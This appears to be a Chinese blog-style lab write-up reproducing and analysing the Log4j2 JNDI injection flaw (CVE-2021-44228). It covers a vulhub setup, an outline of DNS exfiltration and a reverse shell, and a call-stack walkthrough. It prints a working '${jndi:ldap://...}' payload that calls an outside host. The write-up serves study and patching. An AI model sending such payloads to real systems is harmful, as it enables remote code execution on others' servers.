【漏洞复现】Apache Log4j2 lookup JNDI注入漏洞(CVE-2021-44228)
Apache Log4j2是一款开源的Java日志框架,使用极其广泛,在其 <2.15 的版本中被爆出存在JNDI注入漏洞,攻击者可通过该漏洞执行任意代码
影响版本
- ApacheLog4j 2.x <= 2.14.1
漏洞复现
使用vulhub提供的漏洞环境
漏洞触发/日志记录的点:http://10.128.0.12:8983/solr/admin/cores?action=xxx
通过dns外带数据的方式,获取java版本
使用工具完成JNDI服务和恶意class文件的制作:https://github.com/welk1n/JNDI-Injection-Exploit/
尝试反弹shell(需base64编码),启动项目自动开启监听
发送JNDI注入请求
成功获取Shell
漏洞分析
首先在pom中引入核心依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
以fatal记录为例:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) throws IOException {
logger.fatal("${jndi:ldap://asd.log.0x4cc.top}");
}
}
调用栈如下,关键的方法已经圈出
首先是logIfEnabled
方法,必须满足isEnabled
才会进入后面的处理
跟进发现,判断的核心在于日志等级对应的intLevel值必须<=默认的intLevel值
本环境中Fatal对应的intLevel为100,小于默认的intLevel200(这个可以在配置文件中更改),所以可以进入到后面的方法
默认的WARN、INFO、DEBUG、ALL对应的intLevel大于200,则无法触发该漏洞
接着是MessagePatternConverter#format
方法,首先判断了noLookups变量的值,默认为false即允许进行lookup解析,接着判断是否包含$和{字符,包含则进入后续的处理
然后是Interpolator#lookup
方法,首先提取出prefix前缀为jndi,接着在strLookupMap
中寻找是否存在,找到则调用相应的lookup方法,支持的协议如下
最后是进入JndiLookup#lookup
方法,进行JNDI请求,完成注入
漏洞修复
升级到最新版本,截至目前为2.17.2